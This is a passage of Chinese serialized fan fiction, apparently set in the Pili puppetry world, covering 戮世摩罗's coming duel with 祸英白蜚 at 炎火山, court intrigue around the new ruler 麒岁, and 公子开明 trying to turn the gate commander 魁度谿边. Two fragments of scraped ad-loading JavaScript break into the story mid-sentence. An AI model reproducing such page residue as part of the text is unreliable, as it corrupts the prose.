一直走到监狱出口,网中人才开口问他,“如此轻易地应允,你了解祸英白蜚吗?对战胜他可有把握?” 戮世摩罗十分理所当然地回道,“我这不是等着你给我介绍一下吗?” 对于祸英白蜚这只魔,戮世摩罗也知听说过他的名字,未见过其人。但既然官职在三尊之下,再强也强不过赤甯朱厌吧? “曼邪音可能对他更熟悉一些。”网中人回道,“回去以后问她吧。” 听网中人提起曼邪音,戮世摩罗才想起来,自己之前好像还有个问题要问她,但一直没找着机会,如今他竟然把要问的问题都忘了。那时他想要问曼邪音什么来着,怎么一点都记不起来了…… 直到在堡垒前看到曼邪音,戮世摩罗也没把那个问题想起来。 曼邪音朝这边看了一眼,见戮世摩罗朝她走来,便转过身,低头道了一句,“参见帝尊。”而后询问,“帝尊找我有事吗?” “向你打听一个人。”戮世摩罗走到她面前,开门见山,“祸英白蜚,你熟悉吗?” “祸英白蜚,之前是赤水关的守将,赤甯朱厌来招摇关后,他就被帝尊调到浮玉关去了。”曼邪音回答道,“他先前是跟随荡神灭的大将,对帝鬼很崇拜,实力不如赤甯朱厌,但比赤甯朱厌长点脑子。” “对帝鬼很崇拜。”戮世摩罗重复了一下,“看来他是想替先帝报仇啊。” “怎么,”曼邪音询问,“他要挑战帝尊吗?” “目前看来是这样。”戮世摩罗回答,“挑战书都给我送来了。” “梁皇无忌在位时他就有颇多不满,”曼邪音回道,“帝尊年少,又是人族,他想挑战,倒也是情理之中,不过帝尊打败他应该没有什么问题。” “啊,曼邪音这么说的话我就放心了。”戮世摩罗单手背后道,“妖神将,距离下个月圆还有几天?” 网中人回道,“五天。” 戮世摩罗一怔,“这么近,这魔世只有月亮,我日子都过糊涂了。”说罢转过身,朝堡垒里面走去,“炎火山在哪里?我不认路,到时候妖神将你可得给我带个路。” 网中人问,“我和你一同前去?” 戮世摩罗顿住步子,看着他指了指自己,“你要我自己去吗?” 网中人话里有话地道,“我以为你又要一个人慷慨赴死。” 戮世摩罗听出了他话里的不满,叹了口气,“妖神将,你现在真的很记仇。” 妖神将“哼”了一声,将视线挪开了。 戮世摩罗又往前走了几步,忽然像是想起了什么似的,又停下来,看向网中人。 见他突然停下,网中人问他,“怎么了?” 戮世摩罗盯着他思考片刻,开口道,“将我要和祸英白蜚在炎火山对决的事情传出去,知道的人越多越好,最好连凶岳疆朝的人都来看热闹。” —— 羽瑞寒魄宫的梧桐树下,麒染静静地坐在石桌前。 桌上有一片梧桐落叶,叶片上结了一点白色的寒霜,叶脉呈黄色,自叶柄无止境地延伸出去,好像爬在绿色心脏上的爪子,稍稍一捏,就能把他的心捏碎。 其实很多时候,他想不明白为什么。 从小到大,他所有的功课都比麒岁要好,论文采,论武学,麒岁皆不如他,可为什么父亲和母亲都更看中麒岁? 应龙师忌惮麒岁,趁他与黑白郎君决战杀他,其实麒染暗暗在心里想过,如果换作是自己,也值得父王如此大费周章地杀吗? 父王选择和他一起对付麒岁,是因为信任他?还是重用他?还是只是因为他好掌控,不为父王所忌惮? 无数种猜测,无数种可能,已经快要将兵败的六皇子折磨疯了。 他正盯着那树叶胡思乱想,身后传来了凤璇音的声音,“六哥,又一个人在那里发呆呀。” 麒染回头,见是凤璇音走过来,微微叹了口气道,“我没事,就是自己一个人静一静。” “我看六哥最近伤好得也差不多了,”凤璇音在他对面坐下,“接下来有什么打算?” “想办法联系雷月青夔和丹阑毕方。”麒染略有些咬牙切齿道,“我六皇子府中有三千精锐将士,就不信打不过他魔羲宫一盘散沙?” “然后被当做叛逆斩首示众?”凤璇音毫不客气地给他泼了一头冷水,“六哥,别忘了四皇子府中也有两千卫兵,纵使与你在汾水城一战损耗大半,也有魔羲宫禁卫军和魔都守卫军替四哥补缺。你若要出兵,就一定要赢,不然就是死路一条,没有第二次机会。” 麒染愤愤道,“大不了和他鱼死网破,同归于尽。” 凤璇音笑了一声,“那六哥还不如在我这寒魄宫里颐养天年,说不定还能把四哥熬死呢。”她开玩笑道,顿了顿,又道,“我倒是有个计策,六哥你想不想听?” 麒染听她这样说,忽地直起了身子,“你说。” 凤璇音把手腕搭在石桌上,轻快着声音道,“四哥继位能如此顺利,与疆朝内忧外患的境况有很大的关系,众臣为了稳住局势,不得不奉四哥为主,但若四哥才是那个内忧的源头呢?” 麒染神色一变,明白了凤璇音的意思,“你是说,让他在朝堂之内失势?” “嗯。”凤璇音点点头,“四哥的皇位怎么来的,六哥你是知道的。为夺皇位,勾结外邦,弑君弑父,卖国求荣。四项罪名连在一起,四哥必然失势。” “可是……”麒染脸上露出为难的神色,“句余山谷之战,除了修罗国度的人,就只有我、麒岁、父王和黑白郎君在场,黑白郎君肯定是指望不上的,我该去哪里找证据?” 凤璇音闭上眼睛回忆了一下,而后道,“有两样证据,六哥你可以留心一下。” 麒染问,“哪两样?” 凤璇音耐心地为他解释道,“四哥先前经常与策君联络,以四哥的个性,定然会给策君留下什么信物,这信物应该会戴在策君身上,所以六哥你第一个需要留心的人,是策君。” 麒染垂着眸子思虑片刻,又问,“那第二样呢?” 凤璇音继续道,“这第二样东西,是一封信。” “信?” 凤璇音点了点头,“当初,四哥串通修罗帝尊戮世摩罗一起杀父王,曾给戮世摩罗写过一封信,但四哥最后选择去找策君,所以这信没有交到戮世摩罗手上。六哥你若是能拿到这封信,就等于是掌握了四哥串通敌国的证据。” “这封信现在是在麒岁手上吗?”麒染询问。 “有可能,但不一定。”凤璇音一边斟酌着一边道,“但有很大的可能是在四哥的府上。” 麒染叹了口气,忽然一拳头打在石桌上,愤愤地道,“我现在进不去凶犁魔都,策君见不到,北鹿阁也去不了,这该怎么办。” “六哥你别急呀。”凤璇音见他恼怒,便安慰他道,“其实这证据不一定非要经过你手。相反,若经过你手,四哥还可能会污蔑你伪造证据呢。” 麒染听她这样说,忙抬起头看她: “不经过我手?那我该怎么揭穿他?” 凤璇音笑了一下,回答他道:“有一个人,若是让他知道四哥与戮世摩罗合谋害父王,他绝对会第一个冲上去反对四哥继位。” 麒染怔怔地看着凤璇音,忽地反应了过来: “你是说……” “嗯,”凤璇音点了点头: “就是四哥和六哥你的亲舅舅,钦相。” —— 麒岁从楼梯上往下走时,正好看到公子开明从外面回来,正从白玉楼梯下面往上跑。 他步子很快,像一阵东窜西窜的风一般,后面的祸雕跟得很吃力,一抬头看见麒岁,眼神里顿时露出了求助的表情。 麒岁见状,便开口叫住他,“策君。” 公子开明听见声音,抬起头来,见是麒岁,便停住了步子,“嗯?四皇子这是要出去?” 麒岁没回答他的问题,反过来问他,“策君方才这是去哪了?” “凶犁魔都里转了一圈,”公子开明语速极快地回答道,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是说,你们魔都里面好像也没什么好玩的,建议重新装修一下。”他毫不客气地评价道,“实在没头绪的话,可以求助下我们帝尊。” 麒岁皱了皱眉头,而后似是明白了什么似的,笑了一声,转头看向祸雕,“祸雕,这就是你的不对了,怎么不带着策君好好逛一逛?” “策君窜得太快,末将实在是跟不上脚步。”祸雕面露难色地道。 麒岁问,“你是习武之人,怎么会跟不上?” 祸雕辩解道,“策君也是习武之人。” “我——平时走路就是这个速度,祸雕你跟不上可不能怪我。”公子开明为自己开脱道,“你也知道本策君平时镇守沉沦海很忙的,要是步子不快一些的话根本忙不完。” “说的也是。”麒岁语气平静地回道,“祸雕,策君现在功体被锁,魔都里务必要保护策君的安全,万一遇到什么危险,我可是会怪罪于你的。” 祸雕低头道,“是,四殿下。” “好了好了,这都到门口了,就不需要祸雕护送了吧。”公子开明挥了挥手道,“本策君逛了一早晨也有点累了,先回去了。” 说罢,单手一背,看都不看麒岁一眼,直接绕过去上楼梯了。 待到公子开明进门之后,祸雕才气不打一处来地嚷嚷道,“四殿下这是请了尊佛回来啊。” 麒岁知道祸雕定是被公子开明为难了,便笑着安慰他道,“策君是被我强行带来凶犁魔都的,有点情绪倒也正常。策君今日去哪里了?” “没去哪,就是绕着魔城转了转。”祸雕语气里还带了些许不满,“他耍着我玩呢,左绕一圈右绕一圈,步子走得飞快,还偏找些难走的路!” “他不乐意让你和刹罗狰跟着,自然会用些伎俩让你们俩不想跟着他。”麒岁拍了拍他的肩安慰道,“你和刹罗狰都辛苦了,稍后去府里领些赏钱吧,还有,我找人给你做了对新斧子,你稍后也去找管家拿一下。” “啊这,这怎么好意思……”闻言,祸雕刚刚的不满顿时烟消云散,“我原来的斧子虽说旧了,但也用习惯了……” “之前就说给你打造一对新的,一言既出驷马难追。”麒岁带着笑意地说道,随后又追问,“策君没再去别的地方了?” 他的确不太相信公子开明出去跑了一趟,只是为了耍着祸雕玩玩,想来定是有别的目的藏在其中——是出去勘探魔城的地形?麒岁猜测,还是去找了什么人?他又会去找谁? 祸雕低头想了想,忽然灵光一闪,“哦,他和钦相遇见了。” “……什么?” 听闻此事,麒岁神色僵住,一直保持的微笑也消失不见了。 “钦相?”他语气讶异,“他怎么会和钦相遇到?” “在东市那边,钦相好像要去买琉璃,正好策君也走到那,两人就遇上了。”祸雕回道,他见麒岁神色不对,语气瞬间也低了下来: “……钦相看到策君很惊讶,问他为什么会在魔都。策君回答说问你们家四皇子,然后就跑了。” 麒岁闻言,深吸了一口气,想让自己快速镇定下来。 钦相,名唤睚碧当康,是麒岁母后瑶后的弟弟,也就是当朝的国舅,也是麒岁的亲舅舅。 这位钦相是出了名忠心耿耿,一心为国,鞠躬尽瘁,这样一位老臣,忽然看到帝国的策君大摇大摆地出现在自己国家的魔都,他没用他的象牙拐杖打上去都算是好的了…… 现如今公子开明又让他来问自己……唉,看来不用过多久,他的这位舅舅就要来找他兴师问罪了。 大概是察觉到麒岁面色沉重,祸雕在一旁小心翼翼地问,“怎么了,四殿下,是不是策君给你惹麻烦了?” 麒岁被他一问,才回过神来,摇了摇头道,“没什么,你先回去吧。”他摆了摆手,“你若实在不想跟着策君,下一次换刹罗狰来就好。” 祸雕“嗯”了一声,却没走,站在原地思索少顷,又向麒岁建议道,“四殿下若是不放心的话,为何不限制策君的活动范围?只要不让他踏出北鹿阁,不就什么麻烦都没有了?” 麒岁叹了口气,“策君若想出去,十个你也拦不住他,还不如这样坦坦荡荡地让他出去,也坦坦荡荡地跟着他。” 祸雕皱着眉头沉默一会儿,似有些惋惜地道,“策君足智多谋,睿智过人,确实为我和刹罗狰所不及,可惜现在心不在四殿下这儿……” “好了好了,不说策君了。”麒岁连忙岔开了这个话题,“让你离开你不走,我又想起件事来要问你。六皇子那几位大将现在怎么样?” 祸雕闻言,似感到有些棘手般地摇了摇头,“他们还是不肯降。” 麒岁叹道,“可惜了。” “现下该怎样办?”祸雕询问道,“继续劝降吗?” 麒岁摇了摇头,“我去劝过多次,你和刹罗狰也劝说过,如此还不降,怕是不会降了。” “那要杀掉吗?”祸雕问。 麒岁盯着前方,缓缓开口道,“我如今皇位不稳,再如此急躁地开杀,难免会失了民心,但他府中将士我也不能继续留……” 想了想,麒岁又对祸雕道,“此事你先不用管了,快回去休息吧。对于他们……我自有解决的办法。” —未完待续— 18.蚓匿(3) 【18】 溪水上方的雾气如同轻纱般氤氲在血红色的树叶之间,时不时有剑气划破宁静,带着锐利的破空之声,几片如同凝血的叶子应声而落,在白色的雾气中四散飞溅,仿佛一场凄美的血雨。 剑客在这片落叶与飞花交织的景象中,孤独地练习着剑法。 一剑寒光闪过,须臾间便劈开了上千片血红落叶。苍茫的天地被这些血色的叶片染红,白色的雾气如同漫天大雪,绵延数十里,将整座山峰冰封在一片冰冷而肃杀的氛围之中。 几十招出去,剑客在刀光剑影中寻找着那一丝微妙的波动。 这连续不断的剑招被一声突如其来的“墨雪不沾衣”打断。黑衣剑客听到声音,手中的剑势收了一个漂亮的尾,随即转身,看向声音传来的方向。 “丁零当啷”,一身璀璨的宝石如同星辰般闪耀着耀眼的光芒,鬼飘伶如同一颗光彩夺目的三珠树般出现在溪水旁。 墨雪不沾衣看清楚来者后,平静地问道,“是你?什么事?” “没什么事。”鬼飘伶挥了挥手,态度随意,“来找胜弦主,感受到这里有剑意,就过来看看。” 墨雪不沾衣的手轻轻搭在了剑柄上,语气平静,“那就出剑。” “(心情不好)”鬼飘伶任性地回答,似乎并不打算动手,“不想出剑。”说完,他转过身,漫步走到一棵血树下,似乎在寻找一个可以休息的地方。 墨雪不沾衣沉默了两秒,猜测道,“是因为公子开明失踪的事?我听说修罗国度正在通缉他。” “小明一声不吭就玩(失踪),还消失了这么长时间。”鬼飘伶语气中带着明显的不满,“等他回来,我要向他要几百颗宝石作为赔偿。” “他会给你吗?”墨雪不沾衣问道。 “不给也得给。” 鬼飘伶说着,便在一棵血树下的石头上坐了下来,看起来他打算在这里多待一会儿。 墨雪不沾衣站在原地凝视着他,突然想起鬼飘伶提到来找胜弦主的事情,便开口问道,“你来找胜弦主做什么?” “没什么。”鬼飘伶将身子向后一仰,靠在了血色树干之上,“我从沉沦海回来,途中听闻戮世摩罗接受了祸英白蜚的(挑战)。这件事闹得沸沸扬扬,连我这闇盟的魔都收到了(邀请),所以想过来问问胜弦主对此事的看法。” “胜弦主怎么说?”墨雪不沾衣问道。 鬼飘伶将手随意地枕到了后脑勺,“胜弦主说,沉沦海将有战事发生。”他的语气中带着一丝不易察觉的困惑,“我不明白,胜弦主是从哪里看出来的?” “战事发生?”墨雪不沾衣重复着这句话,“是修罗国度和凶岳疆朝的冲突吗?” “当然,”鬼飘伶不假思索地回答,“总不可能是闇盟和修罗国度,也不可能是闇盟和凶岳疆朝,因为我看胜弦主并没有出兵的打算。” “那或许不是什么决定性的战役。”墨雪不沾衣回道,“否则胜弦主不会按兵不动。” “那可不一定,或许是因为公子开明不在,胜弦主才会选择静观其变。”鬼飘伶调侃道。 “如果戮世摩罗需要胜弦主出兵,他自然会派人前来。”墨雪不沾衣冷静分析,“既然无人前来,那就说明并无此需。” “所以——炎火山的决斗,你打算去观战吗?”鬼飘伶话题一转,“虽然他们都不是剑客。” 墨雪不沾衣一针见血,“你是想去看看能否找到策君的踪迹吧?” “我们的关系可没有好到那种程度。”鬼飘伶否认。 “嗯。”墨雪不沾衣淡淡回应,随即再次拔出了锋利的长剑,剑光在雾气中闪烁,“方才你打扰了我,现在是赔罪的时候了。” “我说过,今天不想出剑。”鬼飘伶坚持,但语气中已有松动。 “既然来了,就没有拒绝的余地。”墨雪不沾衣剑尖指向鬼飘伶,态度坚定。 “好吧。”鬼飘伶妥协得很快,他扶着树干站起身,手握剑柄,“两场对决,一场作为赔罪,另一场则换你陪我去炎火山。” “你倒是算得清楚。”墨雪不沾衣面无表情地评价,手中的剑却已蓄势待发。 鬼飘伶轻笑一声,剑光一闪,长剑已出鞘,寒光映照在他的脸上,“来吧。” —— 魔族的继任大典远不如人族那般盛大而庄重,其目的只是为了召集文武百官齐聚于魔羲宫,颁布继任的诏令,向全国宣告大统的继承事宜,并简单交代继任后的一些事务安排。 清晨,文武官臣们早已齐刷刷地聚集在魔羲宫外的广场上,静静地等待着麒岁的宣召。 雕刻着巨龙的铜门前,身着朝服的钦相作为文官的代表,庄严地站在门的右侧,而大将军赤水女魃则代表武将,站在了门的左侧。 赤水女魃是应龙师年轻时的战友,曾与前任大将军沉羲太鳄以及钦相并肩作战,助应龙师登上王位。夺位结束之后,赤水女魃回到赤水退隐。直到沉羲太鳄去世,应龙师才再次请出赤水女魃,任命她为大将军。 然而,长时间的闲散生活让赤水女魃养成了懒散的习性,大将军的头衔对她来说不过是个虚名,应龙师也难以驱使她。此次她出席继任大典,也只是出于对钦相多次派人邀请的面子考虑。 此刻,赤水女魃随意地靠在门边,头发散乱,似乎刚从睡梦中醒来,她对着铜门上的反光,漫不经心地挽着发髻,随口问道:“我听说应龙师失踪了?” “已经是一个多月前的事了。”钦相的目光落在铜门上的倒影上,语气中带着一丝不易察觉的责备。 “不是死了?”赤水女魃语气平淡,似乎对此并不关心,“麒岁这么急匆匆地继位,我还以为他死了呢。” 钦相谨慎地回答:“未见遗体,不敢妄下定论。” “如果我是钦相,就会立刻找来一具无名尸体,宣称是应龙师的遗骸,以此坐实先王驾崩的消息。”赤水女魃斜了他一眼,话中带刺地说道,“钦相一向聪明,这次反应倒是慢了些。” 钦相轻笑一声,淡然回应:“大将军说笑了。” 话音刚落,铜门发出“吱呀”一声巨响,缓缓开启,两名宫人恭恭敬敬地站在门后,宣布:“疆主已至,诸位大人可以进宫了。” 钦相和赤水女魃立刻停止了闲谈,一同踏入了宫门。 第一次群臣会议,麒岁身着华丽的朝服,端坐在魔龙椅上,平日里总是挂在脸上的笑容此刻已消失不见,取而代之的是一副严肃威严的面孔,彰显出一国之主的气度。 众臣分列两侧,麒岁简洁地陈述了应龙师和麒染的失踪事件,以及自己临危受命,继承大统的情况。随后,他对众臣说道:“王位交接之际,国内或有动荡,我已派人送信前往瑶山,请母后务必守护好沉沦海,其他关口亦有守将镇守。父王在句余山谷失踪,六皇弟在汾水城失联,我已派人四处搜寻。若众卿有所发现,请务必告知。” 座下的众臣面面相觑,片刻沉默后,钦相打破了沉默,提醒道:“此事恐怕还需疆主多加留心,如今魔都已被施加了只进不出的结界,我等即便有意搜寻,传递消息也极为不便。” 麒岁回答道:“我已将维护结界之事交由守城大将魁度谿边负责,若诸位需要进出魔都,只需告知魁度谿边,由他通报于我即可。” 众臣齐声应“是”,而赤水女魃却在此刻开口:“稍后我便返回赤水,无需向魁度谿边通报。” 麒岁苦笑着说道:“大将军这么着急要走吗。” 赤水女魃简单地回了一个“嗯”,再无他言。 麒岁心中叹息,这位前辈恐怕连凶岳疆朝的覆灭都不会放在心上,应龙师请她回来担任大将军,或许只是为了震慑修罗国度和闇盟,指望她亲自率军作战,还不如期待修罗国度和闇盟自行投降。 “也好,”麒岁回应道,“若大将军有关于父王和六皇弟的消息,也请通知我一声。” 赤水女魃又是一个“嗯”。 “还有什么别的事情吗?”麒岁语气温和地问道,声音在空旷的殿堂中回响。 钦相缓缓回头看了一眼后面的众臣,眼神中带着一丝谨慎,回道,“其余的事情,臣稍后找疆主单独禀报吧。” “好。”麒岁点头,“今日辛苦诸位大臣了,若没什么别的事情,就各自散去,准备后续的事宜吧。” 座下的众臣齐声回应“是”,声音洪亮而整齐。麒岁随后起身,与钦相交换了一个意味深长的眼神,便转身朝偏殿的方向缓缓走去。 钦相紧随其后,脚步略显急促,跟着麒岁穿过了长长的回廊,来到了静谧的偏殿。 走进偏殿,钦相探了一眼门外,确定无人后,才轻轻关上了门。他上前一步,低头俯身,声音低沉,“疆主。” 麒岁迈步上前,将钦相扶起,“有什么事,当康舅舅就直接说吧。朝堂上您是我的臣子,私下里您是我的舅舅,是我的长辈,我还有很多事情需要您的辅佐。” 钦相那双碧绿的眼睛紧紧盯着麒岁,缓缓开口,语气沉重,“那我就直说了。” 麒岁早已猜到他要谈及的话题,他微微点头,“您说。” 钦相直截了当地问道,“我想知道,公子开明为什么会出现在魔都?” 麒岁没有回避,直接回答,“我带来的。” “你带他来魔都做什么?”钦相的语气中带着一丝严厉。 麒岁尽量让自己的声音听起来平静而安抚,“舅舅放心,他现在功体被锁,伤害不到任何人,也传递不出去任何消息,不足为惧。” 钦相冷哼一声,提起公子开明时,他的眼神变得如同寒冰般阴冷,“既然他现在功体被锁,无力反抗,就应该直接将他诛杀,以绝后患。” 麒岁叹息一声,无奈道,“策君这样的人,杀掉岂不可惜。” “麒岁,你太容易轻信他人。”钦相的话语中带着责备的意味,“公子开明跟了帝鬼那么多年,哪有可能那么快变心?此人阴险狡诈,我看还是直接杀掉最好,他死了,也算是重创修罗国度了。” 麒岁知道再争论下去无果,便只能点头应道,“舅舅说的话,麒岁都记在心上了。我先回一趟北鹿阁,舅舅还有什么事吗?” “这……”钦相没想到麒岁这么匆忙地结束话题,想再说点什么,却又不好继续开口,便只好道 ,“其他的……没什么了,但愿你是真的记在心上。” 说罢,他缓缓转身,脚步沉重地朝门口走去,一边走一边低声自语,“赤水女魃也是个不小的麻烦,我去与她谈一谈吧。” “赤水姑姑连父王的话都不听,还会听从舅舅的话吗?”麒岁带着一丝笑容打趣道。 钦相的脚步在门口停顿了一下,缓声道,“听不听,总归是要试了才知道。” 说完,他踏着沉重的步子,逐渐消失在走廊的尽头。 待钦相的身影完全消失在视线之外,麒岁才缓缓起身,整理了一下衣袍,转身回到了北鹿阁。 抵达北鹿阁时,蓝月的光芒正斜斜地照射在院子里,光影斑驳。麒岁看到刹罗狰正弯腰仔细观察着他精心种植的那些辣椒,便轻声问道,“有看到策君吗?” “咦?”刹罗狰听见声音,急忙直起身子,恭敬地朝麒岁行了个礼,而后回答,“四殿下去魔羲宫后,策君就和祸雕一道出门去了。” “又出去了?”麒岁的眉头紧锁,眼中闪过一丝疑虑,“知道他们去哪了吗?” 刹罗狰轻轻摇了摇头,显得有些无奈,“不清楚,策君并未明说,只说是要出去透透气。” 麒岁思考了片刻,目光投向远方,对刹罗狰吩咐道,“策君若是回来,务必告知我一声,我有要事找他。” 刹罗狰低头应道:“是,四殿下。” 麒岁轻应一声,绕过刹罗狰,脚步穿过庭院,匆匆忙忙地回自己的居所了。 —— 魔都边防,天色昏沉,乌云密布。 守城大将魁度谿边站在城墙上,目光锐利地注视着城墙下方。 他看见钦相和赤水女魃一同步出城门口,便挥手下令,城墙下的魔兵们迅速而有序地开启了沉重的城门。自己则走向碉堡旁的结界阵法,口中念念有词,手指在空中划过一道弧线,将城门口的结界破开了一道细微的裂口。 钦相和赤水女魃的身影在城门外逐渐远去,谿边站在城墙上,目不转睛地盯着两人的背影,眼神中透露出深深的警惕。 就在他全神贯注地观察两人交谈之际,身后突然传来一个轻快的声音,“嗨嗨,魁度谿边你好~认得我吗~” 魁度谿边 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 猛地回头,只见一个头发盘得比脸还长的魔正蹦蹦跳跳地朝自己走来,头上的步摇随着他的步伐摇摇晃晃,仿佛随时都会打到他的脸上。 魁度谿边转身,眉头微皱,困惑地看着这位来者:“你是……” “啊,你你你……”魁度谿边的话音未落,对方忽然捂住心口,仿佛被击中心脏,夸张地朝后踉跄了几步,痛心疾首地道,“你……你竟然不认得本策君……” 魁度谿边一听,瞬间恍然大悟,手立刻握紧了刀柄,“你是公子开明!” 公子开明忽地直起身子,歪着脑袋,语气夸张地道,“对!没错!就是本策君,公~子~开~明——” 魁度谿边一脸戒备地看着他,声音冷硬:“有何贵干?” “没什么没什么没什么。”公子开明毫不在意谿边周身散发出的杀意,一边蹦跳着靠近,一边拍了拍谿边的肩膀,“本策君听说你以前和六皇子关系不错,所以想找你说点事情。” 魁度谿边挪开目光,语气冷淡:“没什么可谈的。” “别急别急别急,”公子开明摇头晃脑,一副悠然自得的样子,“本策君只是想告诉你——” “嗯?”魁度谿边又将眼神挪了回来,眉头紧皱地看着他。 公子开明跳脱的声音忽然低沉了下来: “你死到临头却不自知,如今只有本策君能救你。” 魁度谿边握着刀柄的手紧了紧,声音中带着一丝警惕:“什么意思?” “哦哦哦,你没有直接拿刀砍我,说明你也有这个担心对吗?”公子开明转了转眼珠,扬着声音指出,“前——六皇子府守将?” 魁度谿边的眸子一缩,刀锋几乎要出鞘。 “别害怕,附近的魔兵已经被我用这块玉佩驱赶走了。”公子开明晃了晃手中的龙血翡翠,自信地说道,“再说你是前六皇子府守将也不是什么秘密~” “怎么,”魁度谿边问,语气中带着一丝戒备,“你想要挟我?” “要挟你?你怎么会这么认为?”公子开明绕着魁度谿边转了一圈,眼中闪着一丝试探,“还是说,你觉得这是什么可以被要挟的事情?” 魁度谿边知道自己说不过对方,便直接了当地道,“你有什么话就直说吧,我也没什么心计和你弯弯绕绕。” “好,太好了,给你掌声鼓励。”公子开明拍了拍手,脑袋歪向左边又歪向右边,“你是前六皇子府守将,与六皇子关系匪浅,又被应龙师亲自调来驻守魔都城门,你猜麒岁会不会相信你?” “挑拨离间。”谿边直截了当地指出。 “这还用本策君挑拨吗?”公子开明一脸无辜,“这不是显而易见的事实吗?” “疆主公私分明,不会因为我的过去就对我心生嫌隙。”谿边义正言辞地道,“他刚刚才把维护结界的重任交给我,又怎能说不信任我?” “唉,傻谿边啊,你以为他把重任交于你是信任你吗?这不是等着你犯错好惩治你吗?”公子开明一副恨铁不成钢的样子,“维护结界,多么危险的工作,只要你疏漏了一点消息,放走了一个嫌犯,都会被麒岁安插罪名,从守城大将的位子上拽下来,这么简单的道理你怎么不懂呢?” 魁度谿边身形微微一震,眼中先是一丝怀疑,而后又恢复了坚定,“疆主对下属向来以诚相待,用人不疑。莫说我现在已经离开了六皇子府,就算我还在那里,既然疆主能启用我,那他就一定是信任我的。” 公子开明像是听到什么笑话一般笑了一声,语气略带嘲讽地道,“这么相信他,你以为你是祸雕哦?” 顿了顿,突然像是想起了什么,又道,“哦,祸雕被我打晕了,还躺在城墙下面呢。” “什么?”魁度谿边脸色一变,几乎要再次拔出佩刀,语气满是震惊与愤怒,“你把祸雕打晕了?” “我哪知道他那么不经打!”公子开明摆了摆手,似乎对这件事并不在意,“好了,先不说祸雕了。魁度谿边,你若真的认为四皇子能对你以诚相待,那你就看看雷月青夔和丹阑毕方的下场,他们的结局就是你的结局。” “雷月青夔和丹阑毕方?”魁度谿边眉头紧锁,脸上写满了疑惑,“他们不是还在六皇子府好好的吗?” “被囚禁在皇子府里那能叫好好的吗?”公子开明几乎被谿边的天真气得跳脚,声音提高了几分,显得有些激动。 “那是疆主在等着他们臣服。”魁度谿边依旧坚持己见,语气中透露出对疆主的尊敬,“但凡换一个人,都不可能做到如此宽宏大量,留下敌人府中大将,还不停地派人劝降。疆主他惜才爱才,这在魔世中是出了名的。” 公子开明无奈地摇了摇头,似乎对谿边的言语感到不可思议,他低着头,沉默了片刻,然后又抬起头来,“好吧,多说无益,过段时间你且看雷月青夔和丹阑毕方的下场就好。”说完,他转过身,一步一步慢慢地朝外走去。 走出几步后,他突然又停了下来,转过身来,目光再次落在魁度谿边身上,似乎还有什么话要说。 “怎么了?”魁度谿边语气中的敌意已经减少了许多。 “嗯……我只是想不通,想不明白,为什么你们都觉得麒岁性情温和以诚待人。”公子开明的话语中带着一丝困惑,“按理来说,你们应该都是看着他长大的魔,不应该啊。” 魁度谿边皱了皱眉头,他的眼神中闪过一丝犹豫,“疆主他从小就性情温和,谦谦有礼,疑人不用用人不疑,这些我们都是看在眼里的。” 他停顿了一下,然后继续说道,“疆主他敢把策君带来凶犁魔都,这不也是证实了这一点吗?” “嗯……”公子开明轻轻敲了敲自己的脑袋,似乎在思考着什么,然后他突然提出了一个奇怪的问题,“天天把‘会还钱’挂在嘴边的人,是还钱了还是没还钱呢?” “什么?”魁度谿边一愣,显然没理解公子开明的意思。 “言尽于此,自己琢磨。”公子开明挥了挥手,身影跳跃着转过身,朝着城墙上的楼梯走去。 魁度谿边站在原地,听着公子开明的声音在空气中逐渐远去: “杀害儿子的父亲,囚禁女儿的母亲,谋害兄长的弟弟,各怀鬼胎的臣子,他疑心若是不重,那才是真的看到鬼。” —未完待续— 19.蚓匿(4) 【19】 炎火山位于黑水之畔,终年被烈焰不断,方圆百里荒芜人烟。站在山脚下仰望,山顶火光冲天,熊熊烈焰如同巨龙翻滚,喷射耀眼光芒,连天空也被染成一幅橙红交织的绮丽画卷。 戮世摩罗看着周围荒芜的土地,对网中人半开玩笑地道,“我看祸英白蜚不是要和我决斗,而是要把我烧死。” 网中人解释道,“前方有一赤峰台,不受炎火山烈焰的影响,那里就是你们对决的地方。” 戮世摩罗敏锐地察觉到了他话里的微妙情绪,“我感觉你好像很期待?”他问道,“你在期待什么?千万别是期待祸英白蜚把我打死。” “我希望他把你打成哑巴。”网中人毫不客气地回道。 “那应该把策君叫来一起挨打。”戮世摩罗语气轻快,完全不像是马上要决斗之人。 “哼。”网中人声音冷漠,“这点吾同意。” 两人说话间,就已经来到了赤峰台的入口——那是一个被黑色花岗岩环绕的狭窄山洞,洞口阴暗深邃,从外面望去,内部幽黑一片,什么都看不清。 戮世摩罗和网中人抵达时,赤峰台外已经聚集了众多前来观战的魔族,嘈杂的声音此起彼伏,将洞口围得水泄不通,比节日时的市集都要热闹几分。 突然,人群中传来一声大喊,“帝尊来了!” 众魔闻言,立刻齐刷刷地转身,随后迅速让出一条通道,直通赤峰台的洞口。 网中人听不出情绪地对戮世摩罗道,“好了,你进去吧。” 戮世摩罗问,“你不和我一起进去?” 网中人问,“进去,和祸英白蜚一起打你吗?” “妖神将,我看你也需要和我们一起挨打了。”戮世摩罗的手搭上逆神刀柄,一边穿过魔兵们让开的羊肠小道一边说道,“以后我们三个谁也不说话,都让曼邪音说,她最正常。” 网中人没接他的话,他已经开始提前休息自己的嘴了。 与网中人分别后,戮世摩罗一路走进洞口,甫一进入,映入眼帘的便是一片蓝白相间的冰雪,迎面而来的寒气让他不由得一愣—— 这个位于炎火山下的洞穴,竟然是一个冰冷的冰洞。 只见冰洞深处是一大片圆形湖泊,湖中央有一巨大的白色大理石台,台上站着一个身穿深蓝色甲胄的魔将,正静静地等待着他的到来。 戮世摩罗又往前走了几步,想要看清那魔将长什么样子。 只见那魔将身形高大魁梧,蓝色的甲胄上爬满了蛇一般的花纹。砂金色的长发中伸出两只银色的牛角,面色苍白如雪,脸上只有一只蓝色的眼睛,另一只眼睛的位置被一只云纹眼罩盖住了。 他手中握着一杆蛇玉长枪,银色的枪杆在雪地中闪烁着寒光,枪头弯曲,镶嵌着三颗蓝颖石,熠熠生辉。 “哎哟,也是一只眼睛的。”戮世摩罗指了指自己的眼罩,“咱俩正好凑一对。” 祸英白蜚用那只独眼冷冷地盯着戮世摩罗,眼神如同寒冬中的风雪:“那,就把你的眼睛留在这里吧。” 说罢,魔将挥舞起蛇玉长枪,带着狂风暴雨般的气势,向戮世摩罗猛攻过来! 